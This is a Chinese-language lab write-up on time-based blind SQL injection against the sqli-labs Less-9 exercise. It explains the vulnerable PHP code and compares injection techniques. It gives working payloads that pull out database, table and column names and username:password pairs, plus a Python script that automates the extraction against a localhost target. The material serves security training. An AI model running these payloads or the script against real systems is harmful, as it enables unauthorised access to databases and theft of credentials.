时间盲注原理,时间盲注常用函数,py脚本撰写,sql注入手法决策树

php<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
第1-3行:引入数据库连接,关闭 PHP 错误报告。
phpif(isset($_GET['id']))
{
$id=$_GET['id'];
第5-7行:从 URL 获取 id 参数,没有任何过滤。
php$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
第9-11行:日志记录,和注入无关。
php$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第14行:核心漏洞! $id 被单引号包裹,直接拼进 SQL,字符型注入。
php$result=mysql_query($sql);
$row = mysql_fetch_array($result);
第15-16行:执行查询,获取结果。
php if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
第18-23行:查到数据 → 显示 You are in...........
php else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........'; // ← 注意这里!
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
第25-34行:关键!查不到数据时,也显示 You are in...........!
对比 Less-8:
else 分支里什么都不显示else 分支里同样显示 You are in...........这意味着:无论查询成功还是失败,页面显示完全一样!
| 关卡 | 查到数据 | 查不到数据 | 能否用布尔盲注 | 能否用报错注入 | 只能用 |
|---|---|---|---|---|---|
| Less-1 | 显示用户名密码 | 报错 | ❌(有回显位,用联合查询) | ❌ | 联合查询 |
| Less-5 | You are in... | 报错信息 | ❌ | ✅ | 报错注入 |
| Less-8 | You are in... | 空白 | ✅ | ❌ | 布尔盲注 |
| Less-9 | You are in... | You are in... | ❌ | ❌ | 时间盲注 |
Less-9 的页面永远显示一样的东西,布尔盲注判断不了真假,报错注入没有报错信息。唯一的判断依据只剩下:页面响应时间。
让 SQL 语句执行时间变长,通过测量页面响应时间来判断条件真假。
| 函数 | 语法 | 作用 |
|---|---|---|
if(condition, true_value, false_value) | if(1=1, sleep(5), 1) | 条件为真执行 A,为假执行 B |
sleep(n) | sleep(5) | 暂停 n 秒 |
sql?id=1' and if(1=1, sleep(5), 1) --+
拆解:
| 部分 | 含义 |
|---|---|
1=1 | 条件,永远为真 |
sleep(5) | 条件为真时执行,暂停 5 秒 |
1 | 条件为假时执行,什么都不做 |
and | 前面的 id='1' 为真,继续执行后面的 if |
执行结果:
id='1' 查到数据 → and 右边也要执行 → if(1=1, sleep(5), 1) → 执行 sleep(5) → 页面延迟 5 秒sql?id=1' and if(1=2, sleep(5), 1) --+
if(1=2, ...) → 条件为假 → 执行 1 → 页面不延迟sql?id=1' and if(1=1, sleep(5), 1) --+
→ 页面延迟 5 秒 ✅
sql?id=1' and if(1=2, sleep(5), 1) --+
→ 页面不延迟 ✅
结论:存在时间盲注,单引号字符型。
sql?id=1' and if(length(database())=8, sleep(5), 1) --+
→ 延迟 5 秒 → 长度 = 8 ✅
sql-- 猜第1位
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) --+
→ 延迟 5 秒 → 第1位 = s(ASCII 115)
sql-- 猜第2位
?id=1' and if(ascii(substr(database(),2,1))=101, sleep(5), 1) --+
→ 延迟 5 秒 → 第2位 = e(ASCII 101)
...以此类推,8 位全部猜完 → security
sql-- 猜表名总长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29, sleep(5), 1) --+
-- 逐位猜表名
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101, sleep(5), 1) --+
-- 猜字段
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=105, sleep(5), 1) --+
-- 猜数据
?id=1' and if(ascii(substr((select group_concat(username,':',password) from users),1,1))=68, sleep(5), 1) --+
| 对比项 | 布尔盲注(Less-8) | 时间盲注(Less-9) |
|---|---|---|
| 页面特征 | 真/假两种不同页面 | 页面永远一样 |
| 判断依据 | 页面内容(有无 You are in) | 响应时间(有无延迟) |
| 核心函数 | length()、substr()、ascii() | 同上 + if()、sleep() |
| 速度 | 较快 | 极慢(每次判断要等 sleep) |
| 稳定性 | 高 | 低(网络波动影响大) |
| Payload 区别 | and ascii(...)=115 | and if(ascii(...)=115, sleep(5), 1) |
| 页面特征 | 可用手法 |
|---|---|
| 有回显位(显示具体数据) | 联合查询 |
| 无回显,但有报错信息 | 报错注入 |
| 无回显,无报错,但真假页面不同 | 布尔盲注 |
| 无回显,无报错,真假页面相同 | 时间盲注 |
php// Less-8 的 else 分支
else {
echo ""; // ← 什么都不显示!
}
// Less-9 的 else 分支
else {
echo 'You are in...........'; // ← 和 if 分支显示一样!
Less-8 能用布尔盲注,因为真假页面不同(有/无 You are in)。
Less-9 只能用时间盲注,因为真假页面完全相同,只能看时间。
除了 sleep(),还有:
| 函数 | 作用 | 示例 |
|---|---|---|
sleep(n) | 暂停 n 秒 | sleep(5) |
benchmark(count, expr) | 重复执行 expr count 次 | benchmark(5000000, md5('a')) |
heavy_query | 复杂查询拖时间 | select count(*) from information_schema.columns A, information_schema.columns B |
benchmark() 在某些 sleep() 被过滤的场景下使用。
pythonimport requests
import time
url = "http://localhost/sqli-labs-master/Less-9/"
def time_check(payload, delay=3):
"""发送请求,判断响应时间是否超过 delay 秒"""
start = time.time()
requests.get(url + payload)
elapsed = time.time() - start
return elapsed > delay
# ========== 猜长度 ==========
def get_length(query):
for i in range(1, 50):
payload = f"?id=1' and if(length(({query}))={i}, sleep(3), 1) --+"
if time_check(payload, 3):
print(f"长度: {i}")
return i
return 0
# ========== 逐位猜字符串 ==========
def get_string(query, length):
result = ""
for pos in range(1, length + 1):
low, high = 32, 127
while low < high:
mid = (low + high) // 2
payload = f"?id=1' and if(ascii(substr(({query}),{pos},1))>{mid}, sleep(3), 1) --+"
if time_check(payload, 3):
low = mid + 1
else:
high = mid
result += chr(low)
print(f"第{pos}位: {chr(low)}")
return result
# 运行
if __name__ == "__main__":
db_query = "select database()"
db_len = get_length(db_query)
db_name = get_string(db_query, db_len)
print(f"[+] 数据库名: {db_name}")
Less-8 页面有真假,布尔盲注看回显 Less-9 页面永远一样,时间盲注看延迟 if 条件真就 sleep,页面卡住进判断 if 条件假就过,页面飞快是假面